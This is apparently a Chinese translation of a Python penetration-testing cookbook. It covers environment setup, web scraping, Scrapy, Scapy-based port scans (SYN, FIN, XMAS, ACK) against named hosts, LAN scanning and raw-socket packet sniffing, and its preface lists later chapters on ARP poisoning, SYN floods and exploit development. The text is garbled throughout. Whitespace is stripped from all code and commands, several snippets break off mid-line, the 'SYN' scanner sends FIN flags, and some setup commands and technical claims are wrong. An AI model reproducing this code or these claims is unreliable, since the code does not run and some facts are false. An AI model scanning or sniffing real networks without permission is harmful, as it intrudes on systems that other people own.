Python是一种动态但解释性语言,属于高级编程语言。凭借其清晰的语法和丰富的库,它被用作通用语言。基于Python的解释性质,它经常被视为一种脚本语言。Python在信息安全领域占主导地位,因为它不太复杂,拥有无限的库和第三方模块。安全专家更倾向于使用Python作为开发信息安全工具包的语言,例如w3af、sqlmap等。Python的模块化设计和代码可读性使其成为安全研究人员和专家编写脚本和构建安全测试工具的首选语言。
包括模糊测试器、代理、扫描器甚至利用漏洞在内的信息安全工具都是用Python编写的。此外,Python是当前几个开源渗透测试工具的语言,从用于内存分析的volatility到用于抽象化邮件检查过程的libPST。对于信息安全研究人员来说,学习Python是正确的选择,因为有大量的逆向工程和利用库可供使用。因此,在需要扩展或调整这些工具的困难情况下,学习Python可能会对你有所帮助。
第一章,“渗透测试中为什么选择Python?”,从Python在安全测试中的重要性开始,向读者展示如何配置基本环境。
第二章,“设置Python环境”,介绍了如何在不同操作系统中设置环境以开始使用它们进行渗透测试。
第三章,“使用Python进行网络抓取”,解码了如何使用Python脚本下载网页,并为你提供了网络抓取的基础知识,随后详细描述了如何使用正则表达式从下载的网页中获取信息,并且还介绍了如何请求和下载动态网站页面以爬取其中的数据。
第四章,“使用Python进行数据解析”,向你展示了如何使用Python模块解析HTML表格,从网站下载表格数据,并从HTML文档中提取数据,并使用脚本生成.csv/Excel表格。
第五章,“使用Scrapy和BeautifulSoup进行网络抓取”,将教你如何使用PythonScrapy模块构建和运行网络爬虫来爬取网页。还将解释如何使用Scrapy的交互式shell,在终端内快速尝试和调试你的抓取代码。它还涉及如何从Scrapy爬取的网页中提取链接,并使用这些链接获取网站上的更多页面。学习如何检测和遍历到其他页面的链接,并使用Scrapy模块从这些页面获取数据。
第六章,“使用Python进行网络扫描”,教授了如何创建一个扫描器来扫描IP的开放端口以获取详细信息,以及如何使用Scapy创建一个隐蔽扫描脚本。此外,还介绍了如何使用Python创建一个扫描一系列IP的脚本,以及如何使用LanScanPython3模块来扫描网络。使用LanScan,我们可以收集关于本地网络上的主机和设备的信息。
第七章,“使用Python进行网络嗅探”,是关于如何编写基本数据包嗅探器的详细指南,以及如何使用Python编写脚本来解析嗅探到的数据包,如何使用Python模块解析和格式化MAC地址,如何使用Python模块解码嗅探到的数据包,以及如何使用Pyshark,一个TShark的Python封装。
第八章,“Scapy基础”,介绍了如何使用ScapyPython模块创建数据包,以及如何使用Scapy发送数据包并接收答复。此外,还解释了如何编写脚本来从pcap文件中读取并使用Scapy模块进行写回。Scapy主要是关于将协议层叠在一起以创建自定义数据包。本节将帮助读者更清晰地了解使用Scapy进行数据包层叠以及如何使用Scapy来嗅探网络数据包。
第九章,“Wi-Fi嗅探”,介绍了如何使用Python模块编写脚本来扫描并获取可用的Wi-Fi设备列表。您还将学习如何使用Python模块编写脚本来查找隐藏的Wi-FiSSID,以及如何使用Scapy编写脚本来暴露隐藏的SSID。此外,还介绍了如何使用Scapy编写脚本对隐藏的Wi-FiSSID进行字典攻击,以及如何使用Scapy设置一个虚假的接入点。
第十章,“第2层攻击”,探讨了如何编写脚本来监视网络上所有新连接到特定网络的设备,并如何编写脚本来运行地址解析协议(ARP)缓存投毒攻击。您还将学习如何使用PythonScapy模块创建MAC洪水攻击的脚本,以及如何使用Python编写脚本来创建VLAN跳跃攻击。此外,我们还将介绍如何使用Python编写脚本来在VLAN跳跃中欺骗ARP。
第十一章,“TCP/IP攻击”,着重介绍了如何使用Python模块编写脚本来欺骗IP地址。您还将学习如何使用Python编写脚本来创建SYN洪水攻击,以及如何使用Python编写脚本来在局域网上嗅探密码。
第十二章,“漏洞开发简介”,将帮助您了解CPU寄存器及其重要性的基础知识,并解释内存转储技术以及CPU指令的基础知识。
第十三章,“Windows漏洞开发”,将帮助您了解Windows内存布局的细节,这将有助于漏洞开发。您还将学习如何使用Python脚本进行缓冲区溢出攻击,并如何使用Python编写脚本来利用结构化异常处理(SEH)。此外,我们将详细了解如何使用Python编写脚本来利用EggHunters来攻击Windows应用程序。
第十四章,“Linux漏洞开发”,解释了如何使用Python编写脚本来运行Linux格式字符串漏洞,以及如何在Linux环境中利用缓冲区溢出。
基本上,需要安装Python的计算机。可以使用虚拟机来模拟易受攻击的机器和进行测试。
这本书非常适合那些熟悉Python或类似语言,并且不需要基本编程概念的帮助,但希望了解渗透测试的基础知识和渗透测试人员面临的问题的人。
在本书中,您会发现一些经常出现的标题(准备工作和操作步骤)。为了清晰地说明如何完成食谱,我们使用这些部分如下:
本节告诉您在食谱中可以期待什么,并描述了为食谱设置任何软件或任何先决设置所需的方法。
本节包含按照食谱所需的步骤。
在本书中,您会发现许多文本样式,用于区分不同类型的信息。以下是一些样式的示例及其含义解释。文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟URL、用户输入和Twitter用户名显示如下:“它将被提取到Python-3.6.2文件夹中”
代码块设置如下:
importurllib.requestimporturllib.parseimportrefromos.pathimportbasename任何命令行输入或输出都是这样写的:
$sudoapt-getinstallpython新术语和重要单词以粗体显示。例如,屏幕上看到的单词,例如菜单或对话框中的单词,会以这种方式出现在文本中:“这将显示一个选项PackageControl:InstallPackage。”
警告或重要提示会显示如下。
提示和技巧会显示如下。
在本章中,我们将涵盖以下内容:
深入研究Python及其模块在安全脚本编写中的用途之前,我们需要了解一下语言基础知识和不同版本。此外,如果我们能了解一下为什么Python是安全脚本的绝佳选择,那就太好了。
在大规模安全攻击和泄露之后,安全/渗透测试在质量领域日益受到重视。作为编程领域中的一种流行语言,从过去几年出版的工具、书籍和脚本来看,Python已经成为安全研究人员和黑客最喜欢的脚本语言。
尽管网络和应用程序安全充斥着许多自动化和半自动化测试工具,但并不总能保证成功。工具和脚本的改进是渗透测试的关键,总会有一些任务需要自动化或以其他方式完成。成为成功的现实世界渗透测试人员涉及许多自定义脚本和编程任务。
这些是Python在安全脚本和编程中受欢迎的主要原因。
Python程序可以在任何需要编译的情况下编译,并且不需要频繁更改。这将使Python程序运行得更快,并提供更好的机会来消除漏洞和错误。此外,解释程序比编译程序运行得慢得多,并且更容易受到漏洞和攻击的影响。
Python代码不使用编译器,可以在几乎任何运行Pythonshell的设备上运行。此外,它与脚本语言有一些其他相似之处。因此,Python可以用于执行脚本语言的功能。
Python的语法和缩进布局使得在审查程序时很容易弄清楚发生了什么。缩进还使程序更易读,并有助于使协作编程更容易。
学习一门新的编程语言总是一项艰巨的任务。但Python的设计是为了让即使是初学者程序员也能轻松学会。Python之所以得到程序员的广泛接受,主要是因为它易于学习,并且其设计理念强调代码的可读性,这将帮助初学者开发人员通过阅读代码本身学到很多东西。此外,Python的读取评估打印循环(REPL)为开发人员提供了一个机会来玩弄代码并进行实验。标准的Python库保留了许多功能,我们可以轻松地执行复杂的功能。
一旦学会了Python,你就可以利用支持大量库的平台。Python软件包索引(PyPI)是一个存储库,其中包含超过85,000个可重用的Python模块和脚本,你可以在你的脚本中使用。Python是安全研究人员学习的最佳语言,因为它拥有大量的逆向工程和利用库。
Python可以在Linux、MicrosoftWindows、macOSX和许多其他操作系统和设备上运行。在macOSX计算机上编写的Python程序将在Linux系统上运行,反之亦然。此外,只要计算机安装了Python解释器,Python程序就可以在MicrosoftWindows计算机上运行。
Python3.0首次发布于2008年。尽管Python3被认为与旧版本不兼容,但许多其特性都被移植以支持旧版本。了解Python版本及其差异有助于更好地理解我们的配方。
如果您是Python的新手,可能会对可用的不同版本感到困惑。在进一步了解细节之前,让我们先看一下Python的最新主要版本以及Python2和Python3之间的主要区别。
这些是主要的Python版本。
2000年末发布,它具有许多更多的编程功能,包括帮助自动化内存管理的循环检测垃圾收集器。增加的unicode支持有助于标准化字符,列表推导有助于基于现有列表创建列表等其他功能。在Python版本2.2中,类型和类被合并为一个层次结构。
Python3于2008年末发布,以更新和修复先前版本Python的内置设计缺陷。Python3开发的主要重点是清理代码库并减少冗余。
起初,由于与Python2的不兼容性,Python3的采用过程非常缓慢。此外,许多软件包库仅适用于Python2。后来,随着开发团队宣布将终止对Python2的支持,并且更多的库已被移植或迁移到Python3,Python3的采用率有所增加。
Python2.7于2010年发布,并计划作为2.x版本的最后一个版本。其目的是通过提供两者之间的兼容性来使Python2.x用户更容易将其功能和库移植到Python3,其中包括支持测试自动化的单元测试,用于解析命令行选项的argparse,以及更方便的collections类。
以下是Python2.x和Python3之间的一些主要区别:
从Python2.x到Python3.x的过渡正在缓慢进行,但正在进行中。要注意的是,Python2.x和Python3之间存在实质性差异,因此您可能需要处理在您不太熟悉的版本中编写的代码。
在本章中,我们将学习如何在您的计算机上设置Python。除了Windows之外,大多数操作系统默认都安装了Python解释器。要检查Python解释器是否已安装,您可以打开一个命令行窗口,输入python并按下Enter键--您将得到如下结果:
让我们逐步了解如何在Linux系统上设置Python环境。首先,我们可以学习如何安装Python,如果它不是默认安装的。
由于我们在不同风味的Linux发行版中有许多包管理器,如apt/apt-get和dpkg。对于基于Debian的发行版,如Ubuntu,yum(Yellowdog)适用于CentOS/RHEL,zypper和yast适用于SuSELinux,这些包管理器将帮助我们在Linux发行版中轻松安装Python。有了这个,你只需发出一个命令,包管理器就会搜索所需的包及其依赖项,下载这些包,并将它们安装在你的系统中。
首先,您必须在系统上安装Python。
$sudoapt-getinstallpython如果您的系统运行CentOS/RHEL,请使用以下命令安装Python:
$sudoyuminstallpython如果是SuSELinux发行版,请使用以下命令安装Python:
$sudoyuminstallpython$python-version这将打印当前安装的Python版本。
您可以使用以下命令下载;确保用您需要的版本号替换版本号:
$sudoapt-getinstallgcc$yuminstallgcc然后,您可以运行configure来配置构建,然后使用makealtinstall命令安装构建:
$cdPython-3.6.2$./configure--prefix=/usr/local$makealtinstall安装后,您可以看到系统上安装的Python的两个版本,并且您可以选择在运行脚本时使用哪个版本。
现在您可以学习设置一个虚拟环境,这将帮助您设置一个隔离的脚本环境。这将帮助我们将不同项目所需的依赖项保持在不同的位置。此外,它有助于保持全局site-packages干净,并与项目依赖项分开:
$pipinstallvirtualenv$virtualenv--version$mkdirnew-project-folder$cdnew-project-folder$virtualenvnew-project这将在当前目录中创建一个名为new-project的文件夹。
如果您想要使用您选择的Python解释器创建一个虚拟环境,如下所示:
$virtualenv-p/usr/bin/python3new-project$sourcenew-project/bin/activate$deactivate$pipinstallvirtualenvwrapper我们必须设置WORKON_HOME变量,该变量是保存所有虚拟环境的文件夹:
$exportWORKON_HOME=~/Envs$source/usr/local/bin/virtualenvwrapper.sh$mkvirtualenvnew-project这将在WORKON_HOME内创建虚拟环境,即~/Envs。
$workonnew-project$mkprojectnew-project设置编辑器或IDE最后,您需要一个文本编辑器或IDE来编辑脚本。由于Python程序只是我们可以直接编辑的文本文件,如果您没有喜欢的文本编辑器,sublimetext3是一个不错的选择:
同样,在Linux环境中,macOS也默认安装了Python。但是,您需要了解基本的安装步骤,因为这将有助于更新和重新安装。
首先,如果您尚未安装Xcode,请从AppStore安装Xcode。然后使用以下命令更新命令行工具:
$xcode-select--install此外,我们还需要安装Homebrew,这是macOS的软件包管理器,为此打开终端并输入以下命令:
$brewsearchpython这将得到以下结果:
$brewinstallpython3随着Python3一起,brew将安装pip3和setuptools。
在Windows中,默认情况下未安装Python解释器。因此,我们必须下载并安装Python。
我们可以从官方网站下载Python并在系统中安装它。执行以下步骤:
如果您已将Python安装在C:\Python36\中,则应将以下目录添加到您的PATH--C:\Python36\;C:\Python36\Scripts\。
为此,请转到我的电脑|属性|高级系统设置|环境变量,并编辑PATH变量以添加新目录。
在本章中,我们将涵盖以下配方:
Web抓取是自动从Web中提取数据并以便于您轻松分析或利用的格式的过程。urllibPython模块帮助您从Web服务器下载数据。
要从Web服务器下载网页,可以使用标准Python库的一部分的urllib模块。urllib包括用于从URL检索数据的函数。
要了解基础知识,我们可以使用Python交互式终端。在终端窗口中输入python并按Enter。这将打开Python(Python2.x)交互式终端。
在Python2.x和Python3.x中执行此操作的命令存在一些差异,主要是print语句。因此,请注意语法上的差异。这将有助于我们即将介绍的配方。
urllib.request模块用于在Python3中打开和获取URL:
urllib提供了urlencode方法,用于生成GET请求。但是,urllib2不支持urlencode方法。此外,urllib2可以接受请求对象并修改URL请求的标头,但urllib只能接受URL,并且无法修改其中的标头。
许多网站使用用户代理字符串来识别浏览器并相应地提供服务。由于我们使用urllib访问网站,它不会识别此用户代理并可能以奇怪的方式行事或失败。因此,在这种情况下,我们可以为我们的请求指定用户代理。
我们在请求中使用自定义用户代理字符串如下:
首先,您必须安装requests库。可以通过输入以下命令使用pip来完成:
pipinstallrequests如何做...让我们尝试使用requests模块下载一个简单的图像文件。打开Python2:
正则表达式(re)模块有助于从下载的网页中找到特定的文本模式。正则表达式可用于解析网页中的数据。
例如,我们可以尝试使用正则表达式模块下载网页中的所有图像。
为此,我们可以编写一个Python脚本,可以下载网页中的所有JPG图像:
如果找到模式,则使用urlparse模块中的urlsplit()方法提取图像的文件名。然后,我们下载图像并将其保存到本地系统。
相同的脚本可以以最小的更改重写为Python3:
对于具有表单或接收用户输入的网站,我们必须提交GET请求或POST请求。现在让我们尝试使用Python创建GET请求和POST请求。查询字符串是向URL添加键值对的方法。
在上一个配方中,如果我们在最后一步中删除trycatch块,会发生什么?
不可能记住哪些字符是无效的,并手动用百分号转义它们,但内置的Python模块urllib.parse具有解决此问题所需的方法。
现在我们可以尝试通过转义/URL编码请求来修复这个问题。将脚本重写如下:
要下载所有这些页面中的所有图像,我们可以将前一个配方重写如下:
由于我们已经在之前的示例中下载了网页,现在我们可以讨论如何处理这些文件并解析它们以获取所需的信息。
从服务器下载HTML页面后,我们必须从中提取所需的数据。Python中有许多模块可以帮助我们做到这一点。在这里,我们可以使用Python包BeautifulSoup。
和往常一样,确保你安装了所有必需的包。对于这个脚本,我们需要BeautifulSoup和pandas。你可以使用pip安装它们:
pipinstallbs4pipinstallpandaspandas是Python中的一个开源数据分析库。
我们可以从下载的页面中解析HTML表格,如下所示:
new_table=pd.DataFrame(columns=['Company','Contact','Country'],index=range(0,7))这将创建一个具有三列和六行的DataFrame。列将显示公司名称、联系方式和国家。
row_number=0forrowintable.find_all('tr'):column_number=0columns=row.find_all('td')forcolumnincolumns:new_table.iat[row_number,columns_number]=column.get_text()columns_number+=1row_number+=1printnew_table这将打印DataFrame。
DataFrame是一个二维的、带标签的数据结构,具有可能不同类型的列。它更像是dict的系列对象。
我们可以使用pandas库将解析的数据提取到.csv或Excel格式。
要使用pandas模块中导出解析数据到Excel的函数,我们需要另一个依赖模块openpyxl,所以请确保你使用pip安装了openpyxl:
pipinstallopenpyxl操作步骤...我们可以将数据从HTML提取到.csv或Excel文档中,如下所示:
将上一个脚本的最后一行改为以下内容:
new_table.to_excel('table.xlsx')解析XML数据有时,我们会从服务器得到一个XML响应,我们需要解析XML以提取数据。我们可以使用xml.etree.ElementTree模块来解析XML文件。
我们必须安装所需的模块,xml:
pipinstallxml操作步骤...以下是我们如何使用XML模块解析XML数据:
Scrapy是最强大的Python网络爬虫框架之一,它可以帮助高效地抓取网页的许多基本功能。
网络蜘蛛从要访问的URL或URL列表开始,当蜘蛛获取新页面时,它会分析页面以识别所有超链接,并将这些链接添加到要爬行的URL列表中。只要发现新数据,这个动作就会递归地继续下去。
网络蜘蛛可以找到新的URL并对其进行索引以进行爬行,或者从中下载有用的数据。在下面的示例中,我们将使用Scrapy创建一个网络蜘蛛。
我们可以从Python的pip命令安装Scrapy:
pipinstallscrapy确保您有安装Scrapy所需的权限。如果权限出现任何错误,请使用sudo命令。
让我们用Scrapy创建一个简单的蜘蛛:
$mkdirnew-spider$cdnew-spider$scrapystartprojectbooks这将创建一个名为books的项目,并创建一些有用的文件来创建爬虫。现在你有了一个文件夹结构,如下面的截图所示:
$scrapygenspiderhomebooks.toscrape.com这将生成名为home的蜘蛛的代码,因为我们计划爬取books.toscrape.com的主页。现在spiders文件夹内的文件夹结构将如下所示:
正如其名称所示,parse方法解析了所访问的URL的内容。
然后我们需要设置rules变量,用于设置通过页面的规则。在这里,我们使用restrict_css参数来设置css类以到达下一页。可以通过在浏览器中检查网页来找到下一页URL的css类,如下面的截图所示:
$scrapycrawlhome这将打印出蜘蛛解析的所有URL。
fromscrapy.itemimportItem,FieldclassBookItem(Item):title=Field()price=Field()在这里,我们定义了一个新类,其中包含我们希望从我们的蜘蛛中提取的细节。现在文件夹结构将如下所示:
我们可以使用FirefoxInspector如下:
$scrapycrawlhome-obook-data.csv-tcsv这将在当前目录中创建一个名为book-data.csv的文件,其中包含提取的详细信息。
Scrapyshell是一个命令行界面,可帮助调试脚本而无需运行整个爬虫。我们必须提供一个URL,Scrapyshell将打开一个接口,与爬虫在其回调中处理的对象进行交互,例如响应对象。
我们可以通过一些简单的Scrapy交互式shell用法。步骤如下:
>>>response.xpath('//ol/li/article')这将打印选择器输出。有了这个,我们可以创建和测试爬虫的提取规则。
正如它们的名称所示,链接提取器是用于从Scrapy响应对象中提取链接的对象。Scrapy具有内置的链接提取器,例如scrapy.linkextractors。
让我们用Scrapy构建一个简单的链接提取器:
在新的spider文件中,导入所需的模块:
defstart_requests(self):forurlinself.start_urls:yieldscrapy.Request(url,callback=self.parse,dont_filter=True)start_requests()方法在打开爬虫进行爬取时调用一次
在渗透测试和网络分析中,网络扫描器在获取本地网络中可用主机和运行在这些主机上的应用程序的详细信息方面发挥着重要作用。网络扫描有助于识别主机上运行的可用UDP和TCP网络服务,并有助于确定主机使用的操作系统(OSs)。
端口扫描器旨在检查服务器或主机机器上的开放端口。它帮助攻击者识别主机机器上运行的服务,并利用其中的漏洞。
我们可以使用socket模块编写一个简单的端口扫描器。socket模块是Python中默认的低级网络接口。
我们可以使用socket模块创建一个简单的端口扫描器,以下是步骤:
importsocket,sys,os导入socket模块以及sys和os模块
host='example.com'open_ports=[]start_port=1end_port=10在这里,我们定义了我们计划扫描的起始和结束端口
ip=socket.gethostbyname(host)这里我们使用socket模块中的gethostbyname方法。这将返回域的IP
defprobe_port(host,port,result=1):try:sockObj=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sockObj.settimeout(0.5)r=sockObj.connect_ex((host,port))ifr==0:result=rsock.close()exceptExceptionase:passreturnresult在这里,我们创建了一个名为sockObj的套接字对象,并尝试将其连接到端口。如果连接成功,则端口是打开的。创建的socket对象使用IPv4套接字系列(AF_INET)和TCP类型连接(SOCK_STREAM)。对于UDP类型连接,我们必须使用SOCK_DGRAM。
最后,它将返回作为函数输出的结果。
forportinrange(start_port,end_port+1):sys.stdout.flush()print(port)response=probe_port(host,port)ifresponse==0:open_ports.append(port)ifnotport==end_port:sys.stdout.write('\b'*len(str(port)))如果端口是打开的,则将结果添加到列表open_port
ifopen_ports:print("OpenPorts")print(sorted(open_ports))else:print("Sorry,Noopenportsfound.!!")为此,我们将定义一个默认端口列表:
common_ports={21,22,23,25,53,69,80,88,109,110,123,137,138,139,143,156,161,389,443,445,500,546,547,587,660,995,993,2086,2087,2082,2083,3306,8443,10000}此外,我们更改循环以调用probe_port,如下所示:
forpinsorted(common_ports):sys.stdout.flush()printpresponse=probe_port(host,p)ifresponse==0:open_ports.append(p)ifnotp==end_port:sys.stdout.write('\b'*len(str(p)))IP范围/网络扫描器我们可以使用ICMP数据包创建一个网络扫描器。由于ICMP不是IP协议,我们必须直接访问网络堆栈。因此,我们可以使用Scapy生成ICMP数据包并将其发送到主机。
要开始抓取,我们必须安装所需的Python包。这里我们使用Scapy进行数据包生成。要安装Scapy,我们可以使用pip。由于我们使用的是Python3,请确保为Python3安装Scapy。还要安装其依赖模块netifaces:
pip3installscapy-python3pip3installnetifaces如何做...以下是使用scapy模块创建简单网络扫描器的步骤:
importsocket,refromscapy.allimport*s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)s.connect(('8.8.8.8',80))ip=s.getsockname()[0]end=re.search('^[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.[\d]{1,3}',ip)create_ip=re.search('^[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.',ip)defis_up(ip):icmp=IP(dst=ip)/ICMP()resp=sr1(icmp,timeout=10)ifresp==None:returnFalseelse:returnTruedefCheckLoopBack(ip):if(end.group(0)=='127.0.0.1'):returnTruetry:ifnotCheckLoopBack(create_ip):conf.verb=0foriinrange(1,10):test_ip=str(create_ip.group(0))+str(i)ifis_up(test_ip):print(test_ip+"IsUp")exceptKeyboardInterrupt:print('interrupted!')conf.verb=0将禁用Scapy中的详细模式,以避免来自Scapy的日志
隐蔽扫描是一种TCP扫描形式。在这里,端口扫描器创建原始IP数据包并将其发送到主机以监视响应。这种类型的扫描也被称为半开放扫描或SYN扫描,因为它从不打开完整的TCP连接。这种类型的扫描器创建一个SYN数据包并将其发送到主机。如果目标端口是打开的,主机将用一个SYN-ACK数据包做出响应。然后客户端将用一个RST数据包做出响应,以在完成握手之前关闭连接。如果端口是关闭但未被过滤,目标将立即用一个RST数据包做出响应。
要创建一个SYN扫描器,我们将使用Scapy模块。这是一个功能强大的交互式数据包操作程序和库。
对于扫描端口,我们将向正在扫描的主机发送自定义数据包,并解析响应以分析结果。我们需要Scapy来生成并发送数据包到主机。确保系统中安装了scapy模块。
我们可以通过以下步骤创建一个SYN扫描器:
fromscapy.allimport*这将导入scapy模块
host='www.dvwa.co.uk'ip=socket.gethostbyname(host)openp=[]filterdp=[]common_ports={21,22,23,25,53,69,80,88,109,110,123,137,138,139,143,156,161,389,443,445,500,546,547,587,660,995,993,2086,2087,2082,2083,3306,8443,10000}defis_up(ip):icmp=IP(dst=ip)/ICMP()resp=sr1(icmp,timeout=10)ifresp==None:returnFalseelse:returnTrue我们创建并发送一个ICMP数据包到主机。如果主机正常运行,它将做出响应。
defprobe_port(ip,port,result=1):src_port=RandShort()try:p=IP(dst=ip)/TCP(sport=src_port,dport=port,flags='F')resp=sr1(p,timeout=2)#Sendingpacketifstr(type(resp))=="
以下是TCP层的头部结构:
因此,如果标志值为0x12,则响应具有SYN标志,我们可以认为端口是打开的。如果值为0x14,则标志是RST/ACK,因此端口是关闭的。
ifis_up(ip):forportincommon_ports:print(port)response=probe_port(ip,port)ifresponse==1:openp.append(port)elifresponse==2:filterdp.append(port)iflen(openp)!=0:print("PossibleOpenorFilteredPorts:")print(openp)iflen(filterdp)!=0:print("PossibleFilteredPorts:")print(filterdp)if(len(openp)==0)and(len(filterdp)==0):print("Sorry,Noopenportsfound.!!")else:print("HostisDown")扫描常见端口列表中的每个端口,并将识别出的打开端口添加到打开端口列表中,然后打印列表
SYN扫描可以被防火墙阻止。然而,设置了FIN标志的数据包具有绕过防火墙的能力。它的工作原理是这样的--对于一个FIN数据包,关闭的端口会用一个RST数据包做出响应,而打开的端口会忽略这些数据包。如果是一个ICMP数据包,类型为3,代码为1、2、3、9、10或13,我们可以推断出端口被过滤,端口状态无法被找到。我们可以使用Scapy创建FIN数据包并扫描端口。
我们可以按照以下方式创建一个FIN扫描器:
fromscapy.allimport*host='www.dvwa.co.uk'ip=socket.gethostbyname(host)openp=[]filterdp=[]common_ports={21,22,23,25,53,69,80,88,109,110,123,137,138,139,143,156,161,389,443,445,500,546,547,587,660,995,993,2086,2087,2082,2083,3306,8443,10000}defis_up(ip):icmp=IP(dst=ip)/ICMP()resp=sr1(icmp,timeout=10)ifresp==None:returnFalseelse:returnTruedefprobe_port(ip,port,result=1):src_port=RandShort()try:p=IP(dst=ip)/TCP(sport=src_port,dport=port,flags='F')resp=sr1(p,timeout=2)#Sendingpacketifstr(type(resp))=="
ifis_up(ip):forportincommon_ports:print(port)response=probe_port(ip,port)ifresponse==1:openp.append(port)elifresponse==2:filterdp.append(port)iflen(openp)!=0:print("PossibleOpenorFilteredPorts:")print(openp)iflen(filterdp)!=0:print("PossibleFilteredPorts:")print(filterdp)if(len(openp)==0)and(len(filterdp)==0):print("Sorry,Noopenportsfound.!!")else:print("HostisDown")XMAS扫描使用XMAS扫描,我们将发送一个TCP数据包,其中包含一堆标志(PSH,FIN和URG)。如果端口关闭,我们将收到一个RST。如果端口是打开的或被过滤的,那么服务器将不会有任何响应。这与FIN扫描类似,只是在创建数据包的部分不同。
使用Scapy创建XMAS扫描器的步骤如下:
p=IP(dst=ip)/TCP(sport=src_port,dport=port,flags='FPU')只更新标志参数。这里我们将标志设置为FPU,表示PSH、FIN和URG的组合。
ACK标志扫描对于验证服务器是否被防火墙、IPS或其他网络安全控制所阻塞非常有用。与FIN扫描一样,我们将发送一个TCPACK数据包。没有响应或ICMP错误表明存在有状态的防火墙,因为端口被过滤,如果我们收到一个RST-ACK,那么有状态的防火墙就不存在:
使用Scapy创建TCPACK扫描器的步骤如下:
fromscapy.allimport*#definethehost,porthost='rejahrehim.com'ip=socket.gethostbyname(host)port=80#definethemethodtocheckthestatusofhostdefis_up(ip):icmp=IP(dst=ip)/ICMP()resp=sr1(icmp,timeout=10)ifresp==None:returnFalseelse:returnTruedefprobe_port(ip,port,result=1):src_port=RandShort()try:p=IP(dst=ip)/TCP(sport=src_port,dport=port,flags='A',seq=12345)resp=sr1(p,timeout=2)#Sendingpacketifstr(type(resp))=="
ifis_up(ip):response=probe_port(ip,port)ifresponse==1:print("Filtered|Statefulfirewallpresent")elifresponse==0:print("Unfiltered|Statefulfirewallabsent")else:print("HostisDown")LanScanLanScan是一个Python3模块,可以帮助扫描给定的本地网络。它可以列出所有设备及其开放的端口。LanScan还可以帮助获取有关网络接口和网络的信息。
我们可以使用pip安装lanscan:
pip3installlanscan如何做...以下是LanScan的一些用例:
sudolanscaninterfaces这将打印出可用的接口,如下所示:
这将列出LAN网络中的IP地址以及每个系统中的开放端口
嗅探器是一个可以拦截网络流量并嗅探数据包以进行分析的程序。随着数据流在网络上流动,嗅探器可以捕获每个数据包,解码数据包的原始数据以获取数据包头部中各个字段的值,并根据适当的规范分析其内容。网络数据包嗅探器可以用Python编写。
可以使用socket模块创建一个简单的Python数据包嗅探器。我们可以使用原始套接字类型来获取数据包。原始套接字提供对支持套接字抽象的底层协议的访问。由于原始套接字是互联网套接字API的一部分,它们只能用于生成和接收IP数据包。
由于socket模块的一些行为取决于操作系统套接字API,并且在不同操作系统下使用原始套接字没有统一的API,我们需要使用Linux操作系统来运行此脚本。因此,如果您使用的是Windows或macOS,请确保在虚拟Linux环境中运行此脚本。此外,大多数操作系统需要root访问权限才能使用原始套接字API。
以下是使用socket模块创建基本数据包嗅探器的步骤:
importsockets=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_TCP)读取和写入原始套接字都需要先创建一个原始套接字。这里我们使用INET族的原始套接字。套接字的族参数描述了套接字的地址族。以下是地址族常量:
传递的下一个参数是套接字的类型。以下是套接字类型的可能值:
最后一个参数是数据包的协议。此协议号由互联网数字分配机构(IANA)定义。我们必须了解套接字的族;然后我们才能选择协议。由于我们选择了AF_INET(IPV4),我们只能选择基于IP的协议。
whileTrue:print(s.recvfrom(65565))套接字模块中的recvfrom方法帮助我们从套接字接收所有数据。传递的参数是缓冲区大小;65565是最大缓冲区大小。
sudopython3basic-packet-sniffer-linux.py结果将如下所示:
现在我们可以尝试解析我们嗅探到的数据,并解包头部。要解析数据包,我们需要了解以太网帧和IP数据包头部。
以太网帧结构如下:
前六个字节是目标MAC地址,接下来的六个字节是源MAC。最后两个字节是以太网类型。其余部分包括数据和CRC校验和。根据RFC791,IP头部如下所示:
IP头部包括以下部分:
以下是解析数据包的步骤:
fromstructimport*importsysdefethernet_head(raw_data):dest,src,prototype=struct.unpack('!6s6sH',raw_data[:14])dest_mac=get_mac_addr(dest)src_mac=get_mac_addr(src)proto=socket.htons(prototype)data=raw_data[14:]returndest_mac,src_mac,proto,data在这里,我们使用struct模块中的unpack方法来解包头部。从以太网帧结构中,前六个字节是目标MAC地址,接下来的6个字节是源MAC地址,最后的无符号短整型是以太网类型。最后,剩下的是数据。因此,这个函数返回目标MAC地址、源MAC地址、协议和数据。
defmain():s=socket.socket(socket.AF_PACKET,socket.SOCK_RAW,socket.ntohs(3))whileTrue:raw_data,addr=s.recvfrom(65535)eth=ethernet(raw_data)print('\nEthernetFrame:')print('Destination:{},Source:{},Protocol:{}'.format(eth[0],eth[1],eth[2]))main()defipv4_head(raw_data):version_header_length=raw_data[0]version=version_header_length>>4header_length=(version_header_length&15)*4ttl,proto,src,target=struct.unpack('!8xBB2x4s4s',raw_data[:20])data=raw_data[header_length:]returnversion,header_length,ttl,proto,src,target,data根据IP头部,我们将使用struct中的unpack方法来解包头部,并返回版本、头部长度、TTL、协议源和目标IP。
defmain():s=socket.socket(socket.AF_PACKET,socket.SOCK_RAW,socket.ntohs(3))whileTrue:raw_data,addr=s.recvfrom(65535)eth=ethernet(raw_data)print('\nEthernetFrame:')print('Destination:{},Source:{},Protocol:{}'.format(eth[0],eth[1],eth[2]))ifeth[2]==8:ipv4=ipv4(ethp[4])print('\t-'+'IPv4Packet:')print('\t\t-'+'Version:{},HeaderLength:{},TTL:{},'.format(ipv4[1],ipv4[2],ipv4[3]))print('\t\t-'+'Protocol:{},Source:{},Target:{}'.format(ipv4[4],ipv4[5],ipv4[6]))defget_ip(addr):return'.'.join(map(str,addr))确保更新ipv4_head函数通过在返回输出之前添加以下行来格式化IP地址:
src=get_ip(src)target=get_ip(target)deftcp_head(raw_data):(src_port,dest_port,sequence,acknowledgment,offset_reserved_flags)=struct.unpack('!HHLLH',raw_data[:14])offset=(offset_reserved_flags>>12)*4flag_urg=(offset_reserved_flags&32)>>5flag_ack=(offset_reserved_flags&16)>>4flag_psh=(offset_reserved_flags&8)>>3flag_rst=(offset_reserved_flags&4)>>2flag_syn=(offset_reserved_flags&2)>>1flag_fin=offset_reserved_flags&1data=raw_data[offset:]returnsrc_port,dest_port,sequence,acknowledgment,flag_urg,flag_ack,flag_psh,flag_rst,flag_syn,flag_fin,dataTCP数据包根据TCP数据包头的结构进行解包:
根据图表,我们可以使用以下代码解包数据包:
